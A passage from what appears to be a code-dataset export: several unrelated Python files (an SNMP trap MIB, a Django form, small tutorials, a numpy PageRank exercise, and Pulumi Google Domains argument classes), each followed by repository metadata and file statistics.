sfpRemoved = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 1030)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: sfpRemoved.setStatus('current')
if mibBuilder.loadTexts: sfpRemoved.setDescription('Indicates that an SFP was removed from the system. The dellTrapSource should indicate the unit # and the dellTrapInfo should indicate from which interface was the SFP removed.')
xfpInserted = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 1040)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: xfpInserted.setStatus('current')
if mibBuilder.loadTexts: xfpInserted.setDescription('Indicates that an XFP was inserted into the system. The dellTrapSource should indicate the unit # and the dellTrapInfo should indicate on which interface was the XFP inserted.')
xfpRemoved = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 1050)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: xfpRemoved.setStatus('current')
if mibBuilder.loadTexts: xfpRemoved.setDescription('Indicates that an XFP was removed from the system. The dellTrapSource should indicate the unit # and the dellTrapInfo should indicate from which interface was the XFP removed.')
mibBuilder.exportSymbols("Dell-LAN-TRAP-MIB", dellAlarmGroup=dellAlarmGroup, PYSNMP_MODULE_ID=dellAlarmGroup, mainLinkUp=mainLinkUp, vlanDynPortRemoved=vlanDynPortRemoved, abortTftp=abortTftp, lockPortTrap=lockPortTrap, broadcastStormDetected=broadcastStormDetected, dellTrapSeverity=dellTrapSeverity, dellTrapSeqNum=dellTrapSeqNum, stackMemberUnitRemoved=stackMemberUnitRemoved, dot1xPortStatusUnauthorizedTrap=dot1xPortStatusUnauthorizedTrap, stackSplitNewMasterReport=stackSplitNewMasterReport, sfpInserted=sfpInserted, hwResourceOverflow=hwResourceOverflow, endTftp=endTftp, policyDropPacketTrap=policyDropPacketTrap, igmpV1MsgReceived=igmpV1MsgReceived, invalidUserLoginAttempted=invalidUserLoginAttempted, envMonTemperatureRisingAlarm=envMonTemperatureRisingAlarm, swResourceOverflow=swResourceOverflow, stackNewMemberUnitAdded=stackNewMemberUnitAdded, vlanDynVlanAdded=vlanDynVlanAdded, stackNewMasterElected=stackNewMasterElected, managementACLViolation=managementACLViolation, stpElectedAsRoot=stpElectedAsRoot, policyForwardPacketTrap=policyForwardPacketTrap, dellTrapInfo=dellTrapInfo, configChanged=configChanged, vlanDynPortAdded=vlanDynPortAdded, vrrpEntriesDeleted=vrrpEntriesDeleted, ipZhrVirtualIpAsSource=ipZhrVirtualIpAsSource, dellTrapTimeStamp=dellTrapTimeStamp, startTftp=startTftp, linkFailureSwitchBackUp=linkFailureSwitchBackUp, dot1dStpPortStateNotForwarding=dot1dStpPortStateNotForwarding, resetRequired=resetRequired, ipZhrReqStaticConnNotAccepted=ipZhrReqStaticConnNotAccepted, trunkPortAddedTrap=trunkPortAddedTrap, trunkPortRemovedTrap=trunkPortRemovedTrap, stackLinkFailed=stackLinkFailed, vlanDynamicToStatic=vlanDynamicToStatic, vlanStaticToDynamic=vlanStaticToDynamic, envMonPowerSupplyStateChange=envMonPowerSupplyStateChange, dot1xPortStatusAuthorizedTrap=dot1xPortStatusAuthorizedTrap, dellTrapSource=dellTrapSource, stpNewRootElected=stpNewRootElected, igmpElectedAsQuerier=igmpElectedAsQuerier, xfpRemoved=xfpRemoved, copyFailed=copyFailed, xfpInserted=xfpInserted, envMonFanStateChange=envMonFanStateChange, dot1dStpPortStateForwarding=dot1dStpPortStateForwarding, linkFailure=linkFailure, stackMasterFailed=stackMasterFailed, ipZhrNotAllocVirtualIp=ipZhrNotAllocVirtualIp, stackSplitMasterReport=stackSplitMasterReport, dhcpAllocationFailure=dhcpAllocationFailure, vlanDynVlanRemoved=vlanDynVlanRemoved, sfpRemoved=sfpRemoved, stackRejoined=stackRejoined, stackMemberUnitFailed=stackMemberUnitFailed, copyFinished=copyFinished, errorsDuringInit=errorsDuringInit)
| 210.72549 | 2,504 | 0.777566 | 5,411 | 42,988 | 6.177047 | 0.117354 | 0.059269 | 0.093137 | 0.118538 | 0.591581 | 0.482946 | 0.4594 | 0.440671 | 0.427268 | 0.370781 | 0 | 0.03148 | 0.091816 | 42,988 | 203 | 2,505 | 211.763547 | 0.824646 | 0.00763 | 0 | 0 | 0 | 0.234694 | 0.546247 | 0.00204 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.020408 | 0.040816 | 0 | 0.040816 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
a96c7ee265a58104f112268a59c231c743b81a35 | 189 | py | Python | tareas/forms.py | acroooo/todo-django | 02f6c064cb6d07fbbc1b5cfd041a9bf62e7f46e8 | [
"MIT"
] | null | null | null | tareas/forms.py | acroooo/todo-django | 02f6c064cb6d07fbbc1b5cfd041a9bf62e7f46e8 | [
"MIT"
] | null | null | null | tareas/forms.py | acroooo/todo-django | 02f6c064cb6d07fbbc1b5cfd041a9bf62e7f46e8 | [
"MIT"
] | null | null | null | from django import forms
from django.forms import ModelForm
from .models import *
class TareaForm(forms.ModelForm):
class Meta:
model = Tarea
fields = '__all__'
| 15.75 | 34 | 0.671958 | 22 | 189 | 5.590909 | 0.590909 | 0.162602 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.26455 | 189 | 11 | 35 | 17.181818 | 0.884892 | 0 | 0 | 0 | 0 | 0 | 0.037037 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.428571 | 0 | 0.714286 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
8d1167ca4d98ab722dbaf51c0043bd40c3e51ac8 | 218 | py | Python | pathlib__examples/syntax_path.py | DazEB2/SimplePyScripts | 1dde0a42ba93fe89609855d6db8af1c63b1ab7cc | [
"CC-BY-4.0"
] | 117 | 2015-12-18T07:18:27.000Z | 2022-03-28T00:25:54.000Z | pathlib__examples/syntax_path.py | DazEB2/SimplePyScripts | 1dde0a42ba93fe89609855d6db8af1c63b1ab7cc | [
"CC-BY-4.0"
] | 8 | 2018-10-03T09:38:46.000Z | 2021-12-13T19:51:09.000Z | pathlib__examples/syntax_path.py | DazEB2/SimplePyScripts | 1dde0a42ba93fe89609855d6db8af1c63b1ab7cc | [
"CC-BY-4.0"
] | 28 | 2016-08-02T17:43:47.000Z | 2022-03-21T08:31:12.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
__author__ = 'ipetrash'
# C:\Windows\System32\Boot
import pathlib
path = pathlib.Path('C:/') / 'Windows' / 'System32' / 'Boot'
print(path) # C:\Windows\System32\Boot
| 18.166667 | 60 | 0.646789 | 28 | 218 | 4.892857 | 0.607143 | 0.175182 | 0.350365 | 0.437956 | 0.350365 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042781 | 0.142202 | 218 | 11 | 61 | 19.818182 | 0.68984 | 0.426606 | 0 | 0 | 0 | 0 | 0.247934 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0.25 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
8d209ab5535a3017c43e8cf20491345b03b618e7 | 348 | py | Python | tests/beta_tests/test_sort_array_by_last_character.py | the-zebulan/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | 40 | 2016-03-09T12:26:20.000Z | 2022-03-23T08:44:51.000Z | tests/beta_tests/test_sort_array_by_last_character.py | akalynych/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | null | null | null | tests/beta_tests/test_sort_array_by_last_character.py | akalynych/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | 36 | 2016-11-07T19:59:58.000Z | 2022-03-31T11:18:27.000Z | import unittest
from katas.beta.sort_array_by_last_character import sort_me
class SortMeTestCase(unittest.TestCase):
def test_equals(self):
self.assertEqual(sort_me(['acvd', 'bcc']), ['bcc', 'acvd'])
def test_equals_2(self):
self.assertEqual(sort_me([
'asdf', 14, '13', 'asdf']), ['13', 14, 'asdf', 'asdf'])
| 26.769231 | 67 | 0.640805 | 46 | 348 | 4.630435 | 0.543478 | 0.084507 | 0.122066 | 0.215962 | 0.234742 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031802 | 0.186782 | 348 | 12 | 68 | 29 | 0.720848 | 0 | 0 | 0 | 0 | 0 | 0.097701 | 0 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
8d4479c1f986a894bbc1ac5a151d11843d1eafc7 | 174 | py | Python | mark2cure/analysis/__init__.py | SuLab/mark2cure | 63d20e75b8817ad75c6766b4d8a7a8ee8207d512 | [
"MIT"
] | 17 | 2015-09-29T22:15:38.000Z | 2020-07-15T00:38:21.000Z | mark2cure/analysis/__init__.py | luzhaoxin/mark2cure | 63d20e75b8817ad75c6766b4d8a7a8ee8207d512 | [
"MIT"
] | 178 | 2015-06-28T19:42:13.000Z | 2022-03-23T19:38:12.000Z | mark2cure/analysis/__init__.py | luzhaoxin/mark2cure | 63d20e75b8817ad75c6766b4d8a7a8ee8207d512 | [
"MIT"
] | 14 | 2016-04-20T19:43:36.000Z | 2020-07-19T01:13:06.000Z | import pandas as pd
synonyms_dict = pd.read_csv('mark2cure/analysis/data/synonym_dictionary.txt', sep='\t', names=['dirty', 'clean'], index_col='dirty').to_dict()['clean']
| 34.8 | 151 | 0.724138 | 26 | 174 | 4.653846 | 0.846154 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006211 | 0.074713 | 174 | 4 | 152 | 43.5 | 0.745342 | 0 | 0 | 0 | 0 | 0 | 0.390805 | 0.264368 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
8da8ac7c9de075415168007ef5c95e78d5ee29c3 | 352 | py | Python | src/base/lambda.py | bascker/py-note | 30c8a48d2687f0ff6f0dc90320e2426e411eeca1 | [
"Apache-2.0"
] | null | null | null | src/base/lambda.py | bascker/py-note | 30c8a48d2687f0ff6f0dc90320e2426e411eeca1 | [
"Apache-2.0"
] | null | null | null | src/base/lambda.py | bascker/py-note | 30c8a48d2687f0ff6f0dc90320e2426e411eeca1 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
def repeat_print(n):
'''
重复打印 str, n 次, str 是匿名参数
:param n: 重复次数
:return:
'''
return lambda str: str * n
def main():
pow_x_y = lambda x, y: pow(x, y)
print("2^3 = ", pow_x_y(2, 3))
repeat_print_2 = repeat_print(2)
print(repeat_print_2("hi~ "))
if __name__ == '__main__':
main() | 16 | 36 | 0.542614 | 56 | 352 | 3.089286 | 0.428571 | 0.254335 | 0.086705 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031621 | 0.28125 | 352 | 22 | 37 | 16 | 0.652174 | 0.201705 | 0 | 0 | 0 | 0 | 0.069767 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0 | 0 | 0.333333 | 0.444444 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
a5eca2042e8fdc53a90c4bd17692ccf718466b95 | 260 | py | Python | server/main.py | Oreder/eMail | 2be20c5e73a06dc0f41b6a60e7d36f7a2ae76144 | [
"MIT"
] | null | null | null | server/main.py | Oreder/eMail | 2be20c5e73a06dc0f41b6a60e7d36f7a2ae76144 | [
"MIT"
] | 1 | 2020-02-15T03:35:24.000Z | 2020-02-15T03:35:24.000Z | server/main.py | Oreder/eMail | 2be20c5e73a06dc0f41b6a60e7d36f7a2ae76144 | [
"MIT"
] | null | null | null | from mail_server import MailServer
from server_config import SERVER_PORT, READ_TIMEOUT, LOG_FILES_DIR, PROCESSES_CNT
if __name__ == '__main__':
with MailServer(port=SERVER_PORT, logdir=LOG_FILES_DIR, nprocs=PROCESSES_CNT) as server:
server.serve() | 43.333333 | 92 | 0.796154 | 37 | 260 | 5.081081 | 0.594595 | 0.106383 | 0.117021 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.130769 | 260 | 6 | 93 | 43.333333 | 0.831858 | 0 | 0 | 0 | 0 | 0 | 0.030651 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
570ed1aa0a07a8b406123ffa5d6721e0c623b7fa | 2,514 | py | Python | hands_on_linear_algebra/code.py | akshrasharma2666/nlp-dl-prework | e6b71067a190d364391a501b1b3f258d5d5f3709 | [
"MIT"
] | 2 | 2020-05-27T17:46:30.000Z | 2020-05-27T17:46:42.000Z | hands_on_linear_algebra/code.py | akshrasharma2666/nlp-dl-prework | e6b71067a190d364391a501b1b3f258d5d5f3709 | [
"MIT"
] | null | null | null | hands_on_linear_algebra/code.py | akshrasharma2666/nlp-dl-prework | e6b71067a190d364391a501b1b3f258d5d5f3709 | [
"MIT"
] | null | null | null | # --------------
# Code starts here
import numpy as np
# Code starts here
# Adjacency matrix
adj_mat = np.array([[0,0,0,0,0,0,1/3,0],
[1/2,0,1/2,1/3,0,0,0,0],
[1/2,0,0,0,0,0,0,0],
[0,1,0,0,0,0,0,0],
[0,0,1/2,1/3,0,0,1/3,0],
[0,0,0,1/3,1/3,0,0,1/2],
[0,0,0,0,1/3,0,0,1/2],
[0,0,0,0,1/3,1,1/3,0]])
# Compute eigenvalues and eigencevectrs
eigenvalues, eigenvectors=np.linalg.eig(adj_mat)
# Eigen vector corresponding to 1
abs(eigenvectors[:,0])
eigen_1 = abs(eigenvectors[:,0])/np.linalg.norm(eigenvectors[:,0],1)
# most important page
page = np.where(np.max(eigen_1) == eigen_1)[0][0] + 1
# Code ends here
print(page)
# --------------
# Code starts here
# Initialize stationary vector I
init_I = np.array([1,0,0,0,0,0,0,0])
# Perform iterations for power method
for _ in range(10):
init_I = np.dot(adj_mat,init_I)
init_I = init_I/np.linalg.norm(init_I,1)
print(init_I)
power_page = np.where(np.max(init_I) == init_I)[0][0]+1
print(power_page)
# Code ends here
# --------------
new_adj_mat = np.array([[0,0,0,0,0,0,0,0],
[1/2,0,1/2,1/3,0,0,0,0],
[1/2,0,0,0,0,0,0,0],
[0,1,0,0,0,0,0,0],
[0,0,1/2,1/3,0,0,1/2,0],
[0,0,0,1/3,1/3,0,0,1/2],
[0,0,0,0,1/3,0,0,1/2],
[0,0,0,0,1/3,1,1/2,0]])
new_init_I = np.array([1,0,0,0,0,0,0,0])
for _ in range(10):
new_init_I = np.dot(new_adj_mat, new_init_I)
new_init_I /= np.linalg.norm(new_init_I,1)
print(new_init_I)
# --------------
# Alpha value
alpha = 0.85
# Code starts here
new_adj_mat = np.array([[0,0,0,0,0,0,0,0],
[1/2,0,1/2,1/3,0,0,0,0],
[1/2,0,0,0,0,0,0,0],
[0,1,0,0,0,0,0,0],
[0,0,1/2,1/3,0,0,1/2,0],
[0,0,0,1/3,1/3,0,0,1/2],
[0,0,0,0,1/3,0,0,1/2],
[0,0,0,0,1/3,1,1/2,0]])
# Modified adjancency matrix
G = (alpha*new_adj_mat) + (1-alpha)*(1 / len(new_adj_mat))*np.ones(new_adj_mat.shape)
# Initialize stationary vector I
final_init_I = np.array([1,0,0,0,0,0,0,0])
# Perform iterations for power method
for _ in range(1000):
final_init_I = np.dot(new_adj_mat, final_init_I)
final_init_I /= np.linalg.norm(final_init_I, 1)
print(final_init_I)
# Code ends here
| 24.647059 | 86 | 0.501591 | 504 | 2,514 | 2.386905 | 0.121032 | 0.209476 | 0.226933 | 0.222776 | 0.466334 | 0.387365 | 0.387365 | 0.353283 | 0.353283 | 0.353283 | 0 | 0.159845 | 0.280827 | 2,514 | 101 | 87 | 24.891089 | 0.505531 | 0.179793 | 0 | 0.469388 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.020408 | 0 | 0.020408 | 0.102041 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
5737fc0631f090fb523555faf824750c34a52fbb | 52,262 | py | Python | sdk/python/pulumi_google_native/domains/v1beta1/_inputs.py | AaronFriel/pulumi-google-native | 75d1cda425e33d4610348972cd70bddf35f1770d | [
"Apache-2.0"
] | 44 | 2021-04-18T23:00:48.000Z | 2022-02-14T17:43:15.000Z | sdk/python/pulumi_google_native/domains/v1beta1/_inputs.py | AaronFriel/pulumi-google-native | 75d1cda425e33d4610348972cd70bddf35f1770d | [
"Apache-2.0"
] | 354 | 2021-04-16T16:48:39.000Z | 2022-03-31T17:16:39.000Z | sdk/python/pulumi_google_native/domains/v1beta1/_inputs.py | AaronFriel/pulumi-google-native | 75d1cda425e33d4610348972cd70bddf35f1770d | [
"Apache-2.0"
] | 8 | 2021-04-24T17:46:51.000Z | 2022-01-05T10:40:21.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
from ._enums import *
__all__ = [
'AuditConfigArgs',
'AuditLogConfigArgs',
'BindingArgs',
'ContactSettingsArgs',
'ContactArgs',
'CustomDnsArgs',
'DnsSettingsArgs',
'DsRecordArgs',
'ExprArgs',
'GlueRecordArgs',
'GoogleDomainsDnsArgs',
'ManagementSettingsArgs',
'MoneyArgs',
'PostalAddressArgs',
]
@pulumi.input_type
class AuditConfigArgs:
def __init__(__self__, *,
audit_log_configs: Optional[pulumi.Input[Sequence[pulumi.Input['AuditLogConfigArgs']]]] = None,
service: Optional[pulumi.Input[str]] = None):
"""
Specifies the audit configuration for a service. The configuration determines which permission types are logged, and what identities, if any, are exempted from logging. An AuditConfig must have one or more AuditLogConfigs. If there are AuditConfigs for both `allServices` and a specific service, the union of the two AuditConfigs is used for that service: the log_types specified in each AuditConfig are enabled, and the exempted_members in each AuditLogConfig are exempted. Example Policy with multiple AuditConfigs: { "audit_configs": [ { "service": "allServices", "audit_log_configs": [ { "log_type": "DATA_READ", "exempted_members": [ "user:jose@example.com" ] }, { "log_type": "DATA_WRITE" }, { "log_type": "ADMIN_READ" } ] }, { "service": "sampleservice.googleapis.com", "audit_log_configs": [ { "log_type": "DATA_READ" }, { "log_type": "DATA_WRITE", "exempted_members": [ "user:aliya@example.com" ] } ] } ] } For sampleservice, this policy enables DATA_READ, DATA_WRITE and ADMIN_READ logging. It also exempts jose@example.com from DATA_READ logging, and aliya@example.com from DATA_WRITE logging.
:param pulumi.Input[Sequence[pulumi.Input['AuditLogConfigArgs']]] audit_log_configs: The configuration for logging of each type of permission.
:param pulumi.Input[str] service: Specifies a service that will be enabled for audit logging. For example, `storage.googleapis.com`, `cloudsql.googleapis.com`. `allServices` is a special value that covers all services.
"""
if audit_log_configs is not None:
pulumi.set(__self__, "audit_log_configs", audit_log_configs)
if service is not None:
pulumi.set(__self__, "service", service)
@property
@pulumi.getter(name="auditLogConfigs")
def audit_log_configs(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['AuditLogConfigArgs']]]]:
"""
The configuration for logging of each type of permission.
"""
return pulumi.get(self, "audit_log_configs")
@audit_log_configs.setter
def audit_log_configs(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['AuditLogConfigArgs']]]]):
pulumi.set(self, "audit_log_configs", value)
@property
@pulumi.getter
def service(self) -> Optional[pulumi.Input[str]]:
"""
Specifies a service that will be enabled for audit logging. For example, `storage.googleapis.com`, `cloudsql.googleapis.com`. `allServices` is a special value that covers all services.
"""
return pulumi.get(self, "service")
@service.setter
def service(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "service", value)
@pulumi.input_type
class AuditLogConfigArgs:
def __init__(__self__, *,
exempted_members: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
log_type: Optional[pulumi.Input['AuditLogConfigLogType']] = None):
"""
Provides the configuration for logging a type of permissions. Example: { "audit_log_configs": [ { "log_type": "DATA_READ", "exempted_members": [ "user:jose@example.com" ] }, { "log_type": "DATA_WRITE" } ] } This enables 'DATA_READ' and 'DATA_WRITE' logging, while exempting jose@example.com from DATA_READ logging.
:param pulumi.Input[Sequence[pulumi.Input[str]]] exempted_members: Specifies the identities that do not cause logging for this type of permission. Follows the same format of Binding.members.
:param pulumi.Input['AuditLogConfigLogType'] log_type: The log type that this config enables.
"""
if exempted_members is not None:
pulumi.set(__self__, "exempted_members", exempted_members)
if log_type is not None:
pulumi.set(__self__, "log_type", log_type)
@property
@pulumi.getter(name="exemptedMembers")
def exempted_members(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Specifies the identities that do not cause logging for this type of permission. Follows the same format of Binding.members.
"""
return pulumi.get(self, "exempted_members")
@exempted_members.setter
def exempted_members(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "exempted_members", value)
@property
@pulumi.getter(name="logType")
def log_type(self) -> Optional[pulumi.Input['AuditLogConfigLogType']]:
"""
The log type that this config enables.
"""
return pulumi.get(self, "log_type")
@log_type.setter
def log_type(self, value: Optional[pulumi.Input['AuditLogConfigLogType']]):
pulumi.set(self, "log_type", value)
@pulumi.input_type
class BindingArgs:
def __init__(__self__, *,
condition: Optional[pulumi.Input['ExprArgs']] = None,
members: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
role: Optional[pulumi.Input[str]] = None):
"""
Associates `members`, or principals, with a `role`.
:param pulumi.Input['ExprArgs'] condition: The condition that is associated with this binding. If the condition evaluates to `true`, then this binding applies to the current request. If the condition evaluates to `false`, then this binding does not apply to the current request. However, a different role binding might grant the same role to one or more of the principals in this binding. To learn which resources support conditions in their IAM policies, see the [IAM documentation](https://cloud.google.com/iam/help/conditions/resource-policies).
:param pulumi.Input[Sequence[pulumi.Input[str]]] members: Specifies the principals requesting access for a Cloud Platform resource. `members` can have the following values: * `allUsers`: A special identifier that represents anyone who is on the internet; with or without a Google account. * `allAuthenticatedUsers`: A special identifier that represents anyone who is authenticated with a Google account or a service account. * `user:{emailid}`: An email address that represents a specific Google account. For example, `alice@example.com` . * `serviceAccount:{emailid}`: An email address that represents a service account. For example, `my-other-app@appspot.gserviceaccount.com`. * `group:{emailid}`: An email address that represents a Google group. For example, `admins@example.com`. * `deleted:user:{emailid}?uid={uniqueid}`: An email address (plus unique identifier) representing a user that has been recently deleted. For example, `alice@example.com?uid=123456789012345678901`. If the user is recovered, this value reverts to `user:{emailid}` and the recovered user retains the role in the binding. * `deleted:serviceAccount:{emailid}?uid={uniqueid}`: An email address (plus unique identifier) representing a service account that has been recently deleted. For example, `my-other-app@appspot.gserviceaccount.com?uid=123456789012345678901`. If the service account is undeleted, this value reverts to `serviceAccount:{emailid}` and the undeleted service account retains the role in the binding. * `deleted:group:{emailid}?uid={uniqueid}`: An email address (plus unique identifier) representing a Google group that has been recently deleted. For example, `admins@example.com?uid=123456789012345678901`. If the group is recovered, this value reverts to `group:{emailid}` and the recovered group retains the role in the binding. * `domain:{domain}`: The G Suite domain (primary) that represents all the users of that domain. For example, `google.com` or `example.com`.
:param pulumi.Input[str] role: Role that is assigned to the list of `members`, or principals. For example, `roles/viewer`, `roles/editor`, or `roles/owner`.
"""
if condition is not None:
pulumi.set(__self__, "condition", condition)
if members is not None:
pulumi.set(__self__, "members", members)
if role is not None:
pulumi.set(__self__, "role", role)
@property
@pulumi.getter
def condition(self) -> Optional[pulumi.Input['ExprArgs']]:
"""
The condition that is associated with this binding. If the condition evaluates to `true`, then this binding applies to the current request. If the condition evaluates to `false`, then this binding does not apply to the current request. However, a different role binding might grant the same role to one or more of the principals in this binding. To learn which resources support conditions in their IAM policies, see the [IAM documentation](https://cloud.google.com/iam/help/conditions/resource-policies).
"""
return pulumi.get(self, "condition")
@condition.setter
def condition(self, value: Optional[pulumi.Input['ExprArgs']]):
pulumi.set(self, "condition", value)
@property
@pulumi.getter
def members(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Specifies the principals requesting access for a Cloud Platform resource. `members` can have the following values: * `allUsers`: A special identifier that represents anyone who is on the internet; with or without a Google account. * `allAuthenticatedUsers`: A special identifier that represents anyone who is authenticated with a Google account or a service account. * `user:{emailid}`: An email address that represents a specific Google account. For example, `alice@example.com` . * `serviceAccount:{emailid}`: An email address that represents a service account. For example, `my-other-app@appspot.gserviceaccount.com`. * `group:{emailid}`: An email address that represents a Google group. For example, `admins@example.com`. * `deleted:user:{emailid}?uid={uniqueid}`: An email address (plus unique identifier) representing a user that has been recently deleted. For example, `alice@example.com?uid=123456789012345678901`. If the user is recovered, this value reverts to `user:{emailid}` and the recovered user retains the role in the binding. * `deleted:serviceAccount:{emailid}?uid={uniqueid}`: An email address (plus unique identifier) representing a service account that has been recently deleted. For example, `my-other-app@appspot.gserviceaccount.com?uid=123456789012345678901`. If the service account is undeleted, this value reverts to `serviceAccount:{emailid}` and the undeleted service account retains the role in the binding. * `deleted:group:{emailid}?uid={uniqueid}`: An email address (plus unique identifier) representing a Google group that has been recently deleted. For example, `admins@example.com?uid=123456789012345678901`. If the group is recovered, this value reverts to `group:{emailid}` and the recovered group retains the role in the binding. * `domain:{domain}`: The G Suite domain (primary) that represents all the users of that domain. For example, `google.com` or `example.com`.
"""
return pulumi.get(self, "members")
@members.setter
def members(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "members", value)
@property
@pulumi.getter
def role(self) -> Optional[pulumi.Input[str]]:
"""
Role that is assigned to the list of `members`, or principals. For example, `roles/viewer`, `roles/editor`, or `roles/owner`.
"""
return pulumi.get(self, "role")
@role.setter
def role(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "role", value)
@pulumi.input_type
class ContactSettingsArgs:
def __init__(__self__, *,
admin_contact: pulumi.Input['ContactArgs'],
privacy: pulumi.Input['ContactSettingsPrivacy'],
registrant_contact: pulumi.Input['ContactArgs'],
technical_contact: pulumi.Input['ContactArgs']):
"""
Defines the contact information associated with a `Registration`. [ICANN](https://icann.org/) requires all domain names to have associated contact information. The `registrant_contact` is considered the domain's legal owner, and often the other contacts are identical.
:param pulumi.Input['ContactArgs'] admin_contact: The administrative contact for the `Registration`.
:param pulumi.Input['ContactSettingsPrivacy'] privacy: Privacy setting for the contacts associated with the `Registration`.
:param pulumi.Input['ContactArgs'] registrant_contact: The registrant contact for the `Registration`. *Caution: Anyone with access to this email address, phone number, and/or postal address can take control of the domain.* *Warning: For new `Registration`s, the registrant receives an email confirmation that they must complete within 15 days to avoid domain suspension.*
